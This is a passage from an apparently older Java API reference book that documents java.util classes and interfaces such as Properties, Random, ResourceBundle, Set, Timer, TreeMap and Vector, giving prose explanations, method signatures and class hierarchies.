When you create a Properties object, you may specify another Properties object that contains default values. Keys (property names) and values are associated in a Properties object with the Hashtable method put(). Values are looked up with getProperty(); if this method does not find the key in the current Properties object, it looks in the default Properties object that was passed to the constructor method. A default value can also be specified, in case the key is not found at all. Use setProperty() to add a property name/value pair to the Properties object. This Java 1.2 method is preferred over the inherited put() method because it enforces the constraint that property names and values be strings.

propertyNames() returns an enumeration of all property names (keys) stored in the Properties object and (recursively) all property names stored in the default Properties object associated with it. list() prints the properties stored in a Properties object, which can be useful for debugging. store() writes a Properties object to a stream, writing one property per line, in name=value format. As of Java 1.2, store() is preferred over the deprecated save() method, which writes properties in the same way but suppresses any I/O exceptions that may be thrown in the process. The second argument to both store() and save() is a comment that is written out at the beginning of the property file. Finally, load() reads key/value pairs from a stream and stores them in a Properties object. It is suitable for reading both properties written with store() and hand-edited properties files.

public class Properties extends Hashtable {
// | Public Constructors
 | public Properties (); |
 | public Properties (Properties defaults); |
// | Public Instance Methods
 | public String getProperty (String key); |
 | public String getProperty (String key, String defaultValue); |
 | public void list (java.io.PrintStream out); |
1.1 | public void list (java.io.PrintWriter out); |
 | public void load (java.io.InputStream inStream) throws java.io.IOException; | synchronized
 | public Enumeration propertyNames (); |
1.2 | public Object setProperty (String key, String value); | synchronized
1.2 | public void store (java.io.OutputStream out, String header) throws java.io.IOException; | synchronized
// | Protected Instance Fields
 | protected Properties defaults ; |
// | Deprecated Public Methods
# | public void save (java.io.OutputStream out, String header); | synchronized
}

Hierarchy: Object-->Dictionary-->Hashtable(Cloneable,Map,Serializable)-->Properties

Subclasses: java.security.Provider

Passed To: java.awt.Toolkit.getPrintJob(), System.setProperties(), java.rmi.activation.ActivationGroupDesc.ActivationGroupDesc(), java.sql.Driver.{connect(), getPropertyInfo()}, java.sql.DriverManager.getConnection(), Properties.Properties(), javax.ejb.deployment.DeploymentDescriptor.setEnvironmentProperties(), javax.naming.CompoundName.CompoundName(), org.omg.CORBA.ORB.{init(), set_parameters()}

Returned By: System.getProperties(), java.rmi.activation.ActivationGroupDesc.getPropertyOverrides(), javax.ejb.EJBContext.getEnvironment(), javax.ejb.deployment.DeploymentDescriptor.getEnvironmentProperties()

Type Of: Properties.defaults, javax.naming.CompoundName.mySyntax

PropertyPermission | Java 1.2
java.util | serializable permission

This class is a java.security.Permission that governs read and write access to system properties with System.getProperty() and System.setProperty(). A PropertyPermission object has a name, or target, and a comma-separated list of actions. The name of the permission is the name of the property of interest. The action string can be "read" for getProperty() access, "write" for setProperty() access, or "read,write" for both types of access. PropertyPermission extends java.security.BasicPermission, so the name of the property supports simple wildcards. The name "*" represents any property name. If a name ends with ".*", it represents any property names that share the specified prefix. For example, the name "java.*" represents "java.version", "java.vendor", "java.vendor.url", and all other properties that begin with "java".

Granting access to system properties is not overtly dangerous, but caution is still necessary. Some properties, such as "user.home", reveal details about the host system that malicious code can use to mount an attack. Programmers writing system-level code and system administrators configuring security policies may need to use this class, but applications never need to use it.

public final class PropertyPermission extends java.security.BasicPermission {
// | Public Constructors
 | public PropertyPermission (String name, String actions);
// | Public Methods Overriding BasicPermission
 | public boolean equals (Object obj);
 | public String getActions ();
 | public int hashCode ();
 | public boolean implies (java.security.Permission p);
 | public java.security.PermissionCollection newPermissionCollection ();
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->PropertyPermission

PropertyResourceBundle | Java 1.1
java.util | PJ1.1

This class is a concrete subclass of ResourceBundle. It reads a Properties file from a specified InputStream and implements the ResourceBundle API for looking up named resources from the resulting Properties object. A Properties file contains lines of the form:

name=value

Each such line defines a named property with the specified String value. Although you can instantiate a PropertyResourceBundle yourself, it is more common to simply define a Properties file and then allow ResourceBundle.getBundle() to look up that file and return the necessary PropertyResourceBundle object. See also Properties and ResourceBundle.

public class PropertyResourceBundle extends ResourceBundle {
// | Public Constructors
 | public PropertyResourceBundle (java.io.InputStream stream) throws java.io.IOException;
// | Public Methods Overriding ResourceBundle
 | public Enumeration getKeys ();
 | public Object handleGetObject (String key);
}

Hierarchy: Object-->ResourceBundle-->PropertyResourceBundle

Random | Java 1.0
java.util | serializable PJ1.1

This class implements a pseudo-random number generator suitable for games and similar applications. If you need a cryptographic-strength source of pseudo-randomness, see java.security.SecureRandom. nextDouble() and nextFloat() return a value between 0.0 and 1.0. nextLong() and the no-argument version of nextInt() return long and int values distributed across the range of those data types. In Java 1.2, if you pass an argument to nextInt(), it returns a value between zero (inclusive) and the specified number (exclusive). nextGaussian() returns pseudo-random floating-point values with a Gaussian distribution; the mean of the values is 0.0 and the standard deviation is 1.0. nextBoolean() returns a pseudo-random boolean value, and nextBytes() fills in the specified byte array with pseudo-random bytes. You can use the setSeed() method or the optional constructor argument to initialize the pseudo-random number generator with some variable seed value other than the current time (the default) or with a constant to ensure a repeatable sequence of pseudo-randomness.

public class Random implements Serializable {
// | Public Constructors
 | public Random (); |
 | public Random (long seed); |
// | Public Instance Methods
1.2 | public boolean nextBoolean (); |
1.1 | public void nextBytes (byte[ ] bytes); |
 | public double nextDouble (); |
 | public float nextFloat (); |
 | public double nextGaussian (); | synchronized
 | public int nextInt (); |
1.2 | public int nextInt (int n); |
 | public long nextLong (); |
 | public void setSeed (long seed); | synchronized
// | Protected Instance Methods
 | protected int next (int bits); | synchronized
}

Hierarchy: Object-->Random(Serializable)

Subclasses: java.security.SecureRandom

Passed To: java.math.BigInteger.BigInteger(), Collections.shuffle()

ResourceBundle | Java 1.1
java.util | PJ1.1

This abstract class allows subclasses to define sets of localized resources that can then be dynamically loaded as needed by internationalized programs. Such resources may include user-visible text and images that appear in an application, as well as more complex things such as Menu objects. Use getBundle() to load a ResourceBundle subclass that is appropriate for the default or specified locale. Use getObject(), getString(), and getStringArray() to look up a named resource in a bundle. To define a bundle, provide implementations of handleGetObject() and getKeys(). It is often easier, however, to subclass ListResourceBundle or provide a Properties file that is used by PropertyResourceBundle. The name of any localized ResourceBundle class you define should include the locale language code, and, optionally, the locale country code.

public abstract class ResourceBundle {
// | Public Constructors
 | public ResourceBundle ();
// | Public Class Methods
 | public static final ResourceBundle getBundle (String baseName) throws MissingResourceException;
 | public static final ResourceBundle getBundle (String baseName, Locale locale);
 | public static ResourceBundle getBundle (String baseName, Locale locale, ClassLoader loader) throws MissingResourceException;
// | Public Instance Methods
 | public abstract Enumeration getKeys ();
1.2 | public Locale getLocale ();
 | public final Object getObject (String key) throws MissingResourceException;
 | public final String getString (String key) throws MissingResourceException;
 | public final String[ ] getStringArray (String key) throws MissingResourceException;
// | Protected Instance Methods
 | protected abstract Object handleGetObject (String key) throws MissingResourceException;
 | protected void setParent (ResourceBundle parent);
// | Protected Instance Fields
 | protected ResourceBundle parent ;
}

Subclasses: ListResourceBundle, PropertyResourceBundle

Passed To: java.awt.ComponentOrientation.getOrientation(), java.awt.Window.applyResourceBundle(), ResourceBundle.setParent()

Returned By: ResourceBundle.getBundle()

Type Of: ResourceBundle.parent

Set | Java 1.2
java.util | collection

This interface represents an unordered Collection of objects that contains no duplicate elements. That is, a Set cannot contain two elements e1 and e2 where e1.equals(e2), and it can contain at most one null element. The Set interface defines the same methods as its superinterface, Collection. It constrains the add() and allAll() methods from adding duplicate elements to the Set.

An interface cannot specify constructors, but it is conventional that all implementations of Set provide at least two standard constructors: one that takes no arguments and creates an empty set, and a copy constructor that accepts a Collection object that specifies the initial contents of the new Set. This copy constructor must ensure that duplicate elements are not added to the Set, of course.

As with Collection, the Set methods that modify the contents of the set are optional, and implementations that do not support these methods simply throw java.lang.UnsupportedOperationException. See also Collection, List, Map, SortedSet, HashSet, and TreeSet.

public interface Set extends Collection {
// | Public Instance Methods
 | public abstract boolean add (Object o);
 | public abstract boolean addAll (Collection c);
 | public abstract void clear ();
 | public abstract boolean contains (Object o);
 | public abstract boolean containsAll (Collection c);
 | public abstract boolean equals (Object o);
 | public abstract int hashCode ();
 | public abstract boolean isEmpty ();
 | public abstract Iterator iterator ();
 | public abstract boolean remove (Object o);
 | public abstract boolean removeAll (Collection c);
 | public abstract boolean retainAll (Collection c);
 | public abstract int size ();
 | public abstract Object[ ] toArray ();
 | public abstract Object[ ] toArray (Object[ ] a);
}

Hierarchy: (Set(Collection))

Implementations: AbstractSet, HashSet, SortedSet

Passed To: java.text.AttributedCharacterIterator.{getRunLimit(), getRunStart()}, Collections.{synchronizedSet(), unmodifiableSet()}

Returned By: Too many methods to list.

Type Of: Collections.EMPTY_SET

SimpleTimeZone | Java 1.1
java.util | cloneable serializable PJ1.1

This concrete subclass of TimeZone is a simple implementation of that abstract class that is suitable for use in locales that use the Gregorian calendar. Programs do not normally need to instantiate this class directly; instead, they use one of the static factory methods of TimeZone to obtain a suitable TimeZone subclass. The only reason to instantiate this class directly is if you need to support a time zone with non-standard-daylight-savings-time rules. In that case, you can call setStartRule() and setEndRule() to specify the starting and ending dates of daylight-savings time for the time zone.

public class SimpleTimeZone extends TimeZone {
// | Public Constructors
 | public SimpleTimeZone (int rawOffset, String ID); |
 | public SimpleTimeZone (int rawOffset, String ID, int startMonth, int startDay, int startDayOfWeek, int startTime, int endMonth, int endDay, int endDayOfWeek, int endTime); |
 | public SimpleTimeZone (int rawOffset, String ID, int startMonth, int startDay, int startDayOfWeek, int startTime, int endMonth, int endDay, int endDayOfWeek, int endTime, int dstSavings); |
// | Public Instance Methods
1.2 | public int getDSTSavings (); |
1.2 | public void setDSTSavings (int millisSavedDuringDST); |
1.2 | public void setEndRule (int month, int dayOfMonth, int time); |
 | public void setEndRule (int month, int dayOfWeekInMonth, int dayOfWeek, int time); |
1.2 | public void setEndRule (int month, int dayOfMonth, int dayOfWeek, int time, boolean after); |
1.2 | public void setStartRule (int month, int dayOfMonth, int time); |
 | public void setStartRule (int month, int dayOfWeekInMonth, int dayOfWeek, int time); |
1.2 | public void setStartRule (int month, int dayOfMonth, int dayOfWeek, int time, boolean after); |
 | public void setStartYear (int year); |
// | Public Methods Overriding TimeZone
 | public Object clone (); |
 | public int getOffset (int era, int year, int month, int day, int dayOfWeek, int millis); |
 | public int getRawOffset (); |
1.2 | public boolean hasSameRules (TimeZone other); |
 | public boolean inDaylightTime (java.util.Date date); |
 | public void setRawOffset (int offsetMillis); |
 | public boolean useDaylightTime (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); | synchronized
 | public String toString (); |
}

Hierarchy: Object-->TimeZone(Cloneable,Serializable)-->SimpleTimeZone

SortedMap | Java 1.2
java.util | collection

This interface represents a Map object that keeps its set of key objects in sorted order. As with Map, it is conventional that all implementations of this interface define a no-argument constructor to create an empty map and a copy constructor that accepts a Map object that specifies the initial contents of the SortedMap. Furthermore, when creating a SortedMap, there should be a way to specify a Comparator object to sort the key objects of the map. If no Comparator is specified, all key objects must implement the java.lang.Comparable interface so they can be sorted in their natural order. See also Map, TreeMap, and SortedSet.

The inherited keySet(), values(), and entrySet() methods return collections that can be iterated in the sorted order. firstKey() and lastKey() return the lowest and highest key values in the SortedMap. subMap() returns a SortedMap that contains only mappings for keys from (and including) the first specified key up to (but not including) the second specified key. headMap() returns a SortedMap that contains mappings whose keys are less than (but not equal to) the specified key. tailMap() returns a SortedMap that contains mappings whose keys are greater than or equal to the specified key. subMap(), headMap(), and tailMap() return SortedMap objects that are simply views of the original SortedMap; any changes in the original map are reflected in the returned map and vice versa.

public interface SortedMap extends Map {
// | Public Instance Methods
 | public abstract Comparator comparator ();
 | public abstract Object firstKey ();
 | public abstract SortedMap headMap (Object toKey);
 | public abstract Object lastKey ();
 | public abstract SortedMap subMap (Object fromKey, Object toKey);
 | public abstract SortedMap tailMap (Object fromKey);
}

Hierarchy: (SortedMap(Map))

Implementations: TreeMap

Passed To: Collections.{synchronizedSortedMap(), unmodifiableSortedMap()}, TreeMap.TreeMap()

Returned By: Collections.{synchronizedSortedMap(), unmodifiableSortedMap()}, SortedMap.{headMap(), subMap(), tailMap()}, TreeMap.{headMap(), subMap(), tailMap()}

SortedSet | Java 1.2
java.util | collection

This interface is a Set that sorts its elements and guarantees that its iterator() method returns an Iterator that enumerates the elements of the set in sorted order. As with the Set interface, it is conventional for all implementations of SortedSet to provide a no-argument constructor that creates an empty set and a copy constructor that expects a Collection object specifying the initial (unsorted) contents of the set. Furthermore, when creating a SortedSet, there should be a way to specify a Comparator object that compares and sorts the elements of the set. If no Comparator is specified, the elements of the set must all implement java.lang.Comparable so they can be sorted in their natural order. See also Set, TreeSet, and SortedMap.

SortedSet defines a few methods in addition to those it inherits from the Set interface. first() and last() return the lowest and highest objects in the set. headSet() returns all elements from the beginning of the set up to (but not including) the specified element. tailSet() returns all elements between (and including) the specified element and the end of the set. subSet() returns all elements of the set from (and including) the first specified element up to (but excluding) the second specified element. Note that all three methods return a SortedSet that is implemented as a view onto the original SortedSet. Changes in the original set are visible through the returned set and vice versa.

public interface SortedSet extends Set {
// | Public Instance Methods
 | public abstract Comparator comparator ();
 | public abstract Object first ();
 | public abstract SortedSet headSet (Object toElement);
 | public abstract Object last ();
 | public abstract SortedSet subSet (Object fromElement, Object toElement);
 | public abstract SortedSet tailSet (Object fromElement);
}

Hierarchy: (SortedSet(Set(Collection)))

Implementations: TreeSet

Passed To: Collections.{synchronizedSortedSet(), unmodifiableSortedSet()}, TreeSet.TreeSet()

Returned By: Collections.{synchronizedSortedSet(), unmodifiableSortedSet()}, SortedSet.{headSet(), subSet(), tailSet()}, TreeSet.{headSet(), subSet(), tailSet()}

Stack | Java 1.0
java.util | cloneable serializable collection PJ1.1

This class implements a last-in-first-out (LIFO) stack of objects. push() puts an object on the top of the stack. pop() removes and returns the top object from the stack. peek() returns the top object without removing it. In Java 1.2, you can instead use a LinkedList as a stack.

public class Stack extends Vector {
// | Public Constructors
 | public Stack (); |
// | Public Instance Methods
 | public boolean empty (); |
 | public Object peek (); | synchronized
 | public Object pop (); | synchronized
 | public Object push (Object item); |
 | public int search (Object o); | synchronized
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))-->Vector(Cloneable,java.util.List(Collection),Serializable)-->Stack

StringTokenizer | Java 1.0
java.util | PJ1.1

When a StringTokenizer is instantiated with a String, it breaks the string up into tokens separated by any of the characters in the specified string of delimiters. (For example, words separated by space and tab characters are tokens.) The hasMoreTokens() and nextToken() methods obtain the tokens in order. countTokens() returns the number of tokens in the string. StringTokenizer implements the Enumeration interface, so you may also access the tokens with the familiar hasMoreElements() and nextElement() methods. When you create a StringTokenizer, you can specify a string of delimiter characters to use for the entire string, or you can rely on the default whitespace delimiters. You can also specify whether the delimiters themselves should be returned as tokens. Finally, you can optionally specify a new string of delimiter characters when you call nextToken().

public class StringTokenizer implements Enumeration {
// | Public Constructors
 | public StringTokenizer (String str);
 | public StringTokenizer (String str, String delim);
 | public StringTokenizer (String str, String delim, boolean returnDelims);
// | Public Instance Methods
 | public int countTokens ();
 | public boolean hasMoreTokens ();
 | public String nextToken ();
 | public String nextToken (String delim);
// | Methods Implementing Enumeration
 | public boolean hasMoreElements ();
 | public Object nextElement ();
}

Hierarchy: Object-->StringTokenizer(Enumeration)

Timer Java 1.3 Beta
java.util

This class implements a timer: its methods allow you to schedule one or more runnable TimerTask objects to be executed (once or repetitively) by a background thread at a specified time in the future. You can create a timer with the Timer() constructor. The no-argument version of this constructor creates a regular non-daemon background thread, which means that the Java VM will not terminate while the timer thread is running. Pass true to the constructor if you want the background thread to be a daemon thread.

Once you have created a Timer, you can schedule TimerTask objects to be run in the future with the various schedule() and scheduleAtFixedRate() methods. To schedule a task for a single execution, use one of the two-argument schedule() methods and specify the desired execution time either as a number of milliseconds in the future or as an absolute Date. If the number of milliseconds is 0, or if the Date object represents a time already passed, the task is scheduled for immediate execution.

To schedule a repeating task, use one of the three-argument versions of schedule() or scheduleAtFixedRate(). These methods are passed an argument that specifies the time (either as a number of milliseconds or as a Date object) of the first execution of the task and another argument, period, that specifies the number of milliseconds between repeated executions of the task. The schedule() methods schedule the task for fixed-interval execution. That is, each execution is scheduled for period milliseconds after the previous execution ends. Use schedule() for tasks such as animation, where it is important to have a relatively constant interval between executions. The scheduleAtFixedRate() methods, on the other hand, schedule tasks for fixed-rate execution. That is, each repetition of the task is scheduled for period milliseconds after the previous execution begins. Use scheduleAtFixedRate() for tasks, such as updating a clock display, that must occur at specific absolute times rather than at fixed intervals.

A single Timer object can comfortably schedule many TimerTask objects. Note, however, that all tasks scheduled by a single Timer share a single thread. If you are scheduling many rapidly repeating tasks, or if some tasks take a long time to execute, other tasks may have their scheduled executions delayed.

When you are done with a Timer, call cancel() to stop its associated thread from running. This is particularly important when you are using a timer whose associated thread is not a daemon thread, because otherwise the timer thread can prevent the Java VM from exiting. To cancel the execution of a particular task, use the cancel() method of TimerTask.

public class Timer {
// | Public Constructors
 | public Timer ();
 | public Timer (boolean isDaemon);
// | Public Instance Methods
 | public void cancel ();
 | public void schedule (TimerTask task, long delay);
 | public void schedule (TimerTask task, java.util.Date time);
 | public void schedule (TimerTask task, java.util.Date firstTime, long period);
 | public void schedule (TimerTask task, long delay, long period);
 | public void scheduleAtFixedRate (TimerTask task, long delay, long period);
 | public void scheduleAtFixedRate (TimerTask task, java.util.Date firstTime, long period);
}
TimerTask | Java 1.3 Beta
java.util | runnable

This abstract Runnable class represents a task that is scheduled with a Timer object for one-time or repeated execution in the future. You can define a task by subclassing TimerTask and implementing the abstract run() method. Schedule the task for future execution by passing an instance of your subclass to one of the schedule() or scheduleAtFixedRate() methods of Timer. The Timer object will then invoke the run() method at the scheduled time or times.

Call cancel() to cancel the one-time or repeated execution of a TimerTask(). This method returns true if a pending execution was actually canceled. It returns false if the task has already been canceled, was never scheduled, or was scheduled for one-time execution and has already been executed. scheduledExecutionTime() returns the time in milliseconds at which the most recent execution of the TimerTask was scheduled to occur. When the host system is heavily loaded, the run() method may not be invoked exactly when scheduled. Some tasks may choose to do nothing if they are not invoked on time. The run() method can compare the return values of scheduledExecutionTime() and System.currentTimeMillis() to determine whether the current invocation is sufficiently timely.

public abstract class TimerTask implements Runnable {
// | Protected Constructors
 | public TimerTask ();
// | Public Instance Methods
 | public boolean cancel ();
 | public long scheduledExecutionTime ();
// | Methods Implementing Runnable
 | public abstract void run ();
}

Hierarchy: Object-->TimerTask(Runnable)

Passed To: java.util.Timer.{schedule(), scheduleAtFixedRate()}

TimeZone | Java 1.1
java.util | cloneable serializable PJ1.1

The TimeZone class represents a time zone; it is used with the Calendar and DateFormat classes. As an abstract class, TimeZone cannot be directly instantiated. Instead, you should call the static getDefault() method to obtain a TimeZone object that represents the time zone inherited from the host operating system. Or you can call the static getTimeZone() method with the name of the desired zone. You can obtain a list of the supported time-zone names by calling the static getAvailableIDs() method.

Once you have a TimeZone object, you can call inDaylightTime() to determine whether, for a given Date, daylight-savings time is in effect for that time zone. Call getID() to obtain the name of the time zone. Call getOffset() for a given date to determine the number of milliseconds to add to GMT to convert to the time zone.

public abstract class TimeZone implements Cloneable, Serializable {
// | Public Constructors
 | public TimeZone (); |
// | Public Constants
1.2 | public static final int LONG ; | =1
1.2 | public static final int SHORT ; | =0
// | Public Class Methods
 | public static String[ ] getAvailableIDs (); | synchronized
 | public static String[ ] getAvailableIDs (int rawOffset); | synchronized
 | public static TimeZone getDefault (); | synchronized
 | public static TimeZone getTimeZone (String ID); | synchronized
 | public static void setDefault (TimeZone zone); | synchronized
// | Property Accessor Methods (by property name)
1.2 | public final String getDisplayName (); |
1.2 | public final String getDisplayName (Locale locale); |
1.2 | public final String getDisplayName (boolean daylight, int style); |
1.2 | public String getDisplayName (boolean daylight, int style, Locale locale); |
 | public String getID (); |
 | public void setID (String ID); |
 | public abstract int getRawOffset (); |
 | public abstract void setRawOffset (int offsetMillis); |
// | Public Instance Methods
 | public abstract int getOffset (int era, int year, int month, int day, int dayOfWeek, int milliseconds); |
1.2 | public boolean hasSameRules (TimeZone other); |
 | public abstract boolean inDaylightTime (java.util.Date date); |
 | public abstract boolean useDaylightTime (); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->TimeZone(Cloneable,Serializable)

Subclasses: SimpleTimeZone

Passed To: java.text.DateFormat.setTimeZone(), Calendar.{Calendar(), getInstance(), setTimeZone()}, GregorianCalendar.GregorianCalendar(), SimpleTimeZone.hasSameRules(), TimeZone.{hasSameRules(), setDefault()}

Returned By: java.text.DateFormat.getTimeZone(), Calendar.getTimeZone(), TimeZone.{getDefault(), getTimeZone()}

TooManyListenersException | Java 1.1
java.util | serializable checked PJ1.1

Signals that an AWT component, JavaBeans component, or Swing component can have only one EventListener object registered for some specific type of event. That is, it signals that a particular event is a unicast event rather than a multicast event. This exception type serves a formal purpose in the Java event model; its presence in the throws clause of an EventListener registration method (even if the method never actually throws the exception) signals that an event is a unicast event.

public class TooManyListenersException extends Exception {
// | Public Constructors
 | public TooManyListenersException ();
 | public TooManyListenersException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->TooManyListenersException

Thrown By: java.awt.dnd.DragGestureRecognizer.addDragGestureListener(), java.awt.dnd.DragSourceContext.addDragSourceListener(), java.awt.dnd.DropTarget.addDropTargetListener(), java.beans.beancontext.BeanContextServices.getService(), java.beans.beancontext.BeanContextServicesSupport.getService()

TreeMap | Java 1.2
java.util | cloneable serializable collection

This class implements the SortedMap interface using an internal Red-Black tree data structure and guarantees that the keys and values of the mapping can be enumerated in ascending order of keys. TreeMap supports all optional Map methods. The objects used as keys in a TreeMap must all be mutually Comparable, or an appropriate Comparator must be provided when the TreeMap is created. Because TreeMap is based on a binary tree data structure, the get(), put(), remove(), and containsKey() methods operate in relatively efficient logarithmic time. If you do not need the sorting capability of TreeMap, however, use HashMap instead, as it is even more efficient. See Map and SortedMap for details on the methods of TreeMap. See also the related TreeSet class.

In order for a TreeMap to work correctly, the comparison method from the Comparable or Comparator interface must be consistent with the equals() method. That is, the equals() method must compare two objects as equal if and only if the comparison method also indicates those two objects are equal.

The methods of TreeMap are not synchronized. If you are working in a multithreaded environment, you must explicitly synchronize all code that modifies the TreeMap, or obtain a synchronized wrapper with Collections.synchronizedMap().

public class TreeMap extends AbstractMap implements Cloneable, Serializable, SortedMap {
// | Public Constructors
 | public TreeMap ();
 | public TreeMap (Map m);
 | public TreeMap (SortedMap m);
 | public TreeMap (Comparator c);
// | Methods Implementing Map
 | public void clear ();
 | public boolean containsKey (Object key);
 | public boolean containsValue (Object value);
 | public Set entrySet ();
 | public Object get (Object key);
 | public Set keySet ();
 | public Object put (Object key, Object value);
 | public void putAll (Map map);
 | public Object remove (Object key);
 | public int size ();
 | public Collection values ();
// | Methods Implementing SortedMap
 | public Comparator comparator ();
 | public Object firstKey ();
 | public SortedMap headMap (Object toKey);
 | public Object lastKey ();
 | public SortedMap subMap (Object fromKey, Object toKey);
 | public SortedMap tailMap (Object fromKey);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->AbstractMap(Map)-->TreeMap(Cloneable,Serializable,SortedMap(Map))

TreeSet | Java 1.2
java.util | cloneable serializable collection

This class implements SortedSet, provides support for all optional methods, and guarantees that the elements of the set can be enumerated in ascending order. In order to be sorted, the elements of the set must all be mutually Comparable objects, or they must all be compatible with a Comparator object that is specified when the TreeSet is created. TreeSet is implemented on top of a TreeMap, so its add(), remove(), and contains() methods all operate in relatively efficient logarithmic time. If you do not need the sorting capability of TreeSet, however, use HashSet instead, as it is significantly more efficient. See Set, SortedSet, and Collection for details on the methods of TreeSet.

In order for a TreeSet to operate correctly, the Comparable or Comparator comparison method must be consistent with the equals() method. That is, the equals() method must compare two objects as equal if and only if the comparison method also indicates those two objects are equal.

The methods of TreeSet are not synchronized. If you are working in a multithreaded environment, you must explicitly synchronize code that modifies the contents of the set,x or obtain a synchronized wrapper with Collections.synchronizedSet().

public class TreeSet extends AbstractSet implements Cloneable, Serializable, SortedSet {
// | Public Constructors
 | public TreeSet (); |
 | public TreeSet (SortedSet s); |
 | public TreeSet (Comparator c); |
 | public TreeSet (Collection c); |
// | Methods Implementing Set
 | public boolean add (Object o); |
 | public boolean addAll (Collection c); |
 | public void clear (); |
 | public boolean contains (Object o); |
 | public boolean isEmpty (); | default:true
 | public Iterator iterator (); |
 | public boolean remove (Object o); |
 | public int size (); |
// | Methods Implementing SortedSet
 | public Comparator comparator (); |
 | public Object first (); |
 | public SortedSet headSet (Object toElement); |
 | public Object last (); |
 | public SortedSet subSet (Object fromElement, Object toElement); |
 | public SortedSet tailSet (Object fromElement); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractSet(Set(Collection))-->TreeSet(Cloneable,Serializable,SortedSet(Set(Collection)))

Vector | Java 1.0
java.util | cloneable serializable collection PJ1.1

This class implements an ordered collection--essentially an array--of objects that can grow or shrink as necessary. Vector is useful when you need to keep track of a number of objects, but do not know in advance how many there will be. Use setElementAt() to set the object at a given index of a Vector. Use elementAt() to retrieve the object stored at a specified index. Note that you typically must cast the Object returned by elementAt() to the desired type. Call add() to append an object to the end of the Vector or to insert an object at any specified position. Use removeElementAt() to delete the element at a specified index or removeElement() to remove a specified object from the vector. size() returns the number of objects currently in the Vector. elements() returns an Enumeration that allows you to iterate through those objects. capacity() is not the same as size(); it returns the maximum number of objects a Vector can hold before its internal storage must be resized. Vector automatically resizes its internal storage for you, but if you know in advance how many objects a Vector will contain, you can increase its efficiency by pre-allocating this many elements with ensureCapacity().

Vector has been part of the java.util package since Java 1.0, but in Java 1.2 it has been enhanced to implement the List interface. List defines new names for many of the methods already present in Vector; see List for details on those methods. Vector is quite similar to the ArrayList class, except that the methods of Vector are synchronized, which makes them thread-safe but increases the overhead of calling them. If you need thread safety or need to be compatible with Java 1.0 or Java 1.1, use Vector; otherwise, use ArrayList.

public class Vector extends AbstractList, implements Cloneable, java.util.List, Serializable {
// | Public Constructors
 | public Vector (); |
1.2 | public Vector (Collection c); |
 | public Vector (int initialCapacity); |
 | public Vector (int initialCapacity, int capacityIncrement); |
// | Public Instance Methods
 | public void addElement (Object obj); | synchronized
 | public int capacity (); |
 | public void copyInto (Object[ ] anArray); | synchronized
 | public Object elementAt (int index); | synchronized
 | public Enumeration elements (); |
 | public void ensureCapacity (int minCapacity); | synchronized
 | public Object firstElement (); | synchronized
 | public int indexOf (Object elem, int index); | synchronized
 | public void insertElementAt (Object obj, int index); | synchronized
 | public Object lastElement (); | synchronized
 | public int lastIndexOf (Object elem, int index); | synchronized
 | public void removeAllElements (); | synchronized
 | public boolean removeElement (Object obj); | synchronized
 | public void removeElementAt (int index); | synchronized
 | public void setElementAt (Object obj, int index); | synchronized
 | public void setSize (int newSize); | synchronized
 | public void trimToSize (); | synchronized
// | Methods Implementing List
1.2 | public boolean add (Object o); | synchronized
1.2 | public void add (int index, Object element); |
1.2 | public boolean addAll (Collection c); | synchronized
1.2 | public boolean addAll (int index, Collection c); | synchronized
1.2 | public void clear (); |
 | public boolean contains (Object elem); |
1.2 | public boolean containsAll (Collection c); | synchronized
1.2 | public boolean equals (Object o); | synchronized
1.2 | public Object get (int index); | synchronized
1.2 | public int hashCode (); | synchronized
 | public int indexOf (Object elem); |
 | public boolean isEmpty (); | default:true
 | public int lastIndexOf (Object elem); |
1.2 | public boolean remove (Object o); |
1.2 | public Object remove (int index); | synchronized
1.2 | public boolean removeAll (Collection c); | synchronized
1.2 | public boolean retainAll (Collection c); | synchronized
1.2 | public Object set (int index, Object element); | synchronized
 | public int size (); |
1.2 | public java.util.List subList (int fromIndex, int toIndex); |
1.2 | public Object[ ] toArray (); | synchronized
1.2 | public Object[ ] toArray (Object[ ] a); | synchronized
// | Protected Methods Overriding AbstractList
1.2 | protected void removeRange (int fromIndex, int toIndex); |
// | Public Methods Overriding AbstractCollection
 | public String toString (); | synchronized
// | Public Methods Overriding Object
 | public Object clone (); | synchronized
// | Protected Instance Fields
 | protected int capacityIncrement ; |
 | protected int elementCount ; |
 | protected Object[ ] elementData ; |
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))-->Vector(Cloneable,java.util.List(Collection),Serializable)

Subclasses: Stack

Passed To: Too many methods to list.

Returned By: java.awt.image.BufferedImage.getSources(), java.awt.image.RenderedImage.getSources(), java.awt.image.renderable.ParameterBlock.{getParameters(), getSources()}, java.awt.image.renderable.RenderableImage.getSources(), java.awt.image.renderable.RenderableImageOp.getSources(), javax.swing.table.DefaultTableModel.{convertToVector(), getDataVector()}, javax.swing.text.GapContent.getPositionsInRange(), javax.swing.text.StringContent.getPositionsInRange()

Type Of: Too many fields to list.

WeakHashMap | Java 1.2
java.util | collection

This class implements Map using an internal hashtable. It is similar in features and performance to HashMap, except that it uses the capabilities of the java.lang.ref package, so that the key-to-value mappings it maintains do not prevent the key objects from being reclaimed by the garbage collector. When there are no more references to a key object except for the weak reference maintained by the WeakHashMap, the garbage collector reclaims the object, and the WeakHashMap deletes the mapping between the reclaimed key and its associated value. If there are no references to the value object except for the one maintained by the WeakHashMap, the value object also becomes available for garbage collection. Thus, you can use a WeakHashMap to associate an auxiliary value with an object without preventing either the object (the key) or the auxiliary value from being reclaimed. See HashMap for a discussion of the implementation features of this class. See Map for a description of the methods it defines.

WeakHashMap is primarily useful with objects whose equals() methods use the == operator for comparison. It is less useful with key objects of type String, for example, because there can be multiple String objects that are equal to one another and, even if the original key value has been reclaimed by the garbage collector, it is always possible to pass a String with the same value to the get() method.

public class WeakHashMap extends AbstractMap implements Map {
// | Public Constructors
 | public WeakHashMap (); |
1.3 | public WeakHashMap (Map t); |
 | public WeakHashMap (int initialCapacity); |
 | public WeakHashMap (int initialCapacity, float loadFactor); |
// | Methods Implementing Map
 | public void clear (); |
 | public boolean containsKey (Object key); |
 | public Set entrySet (); |
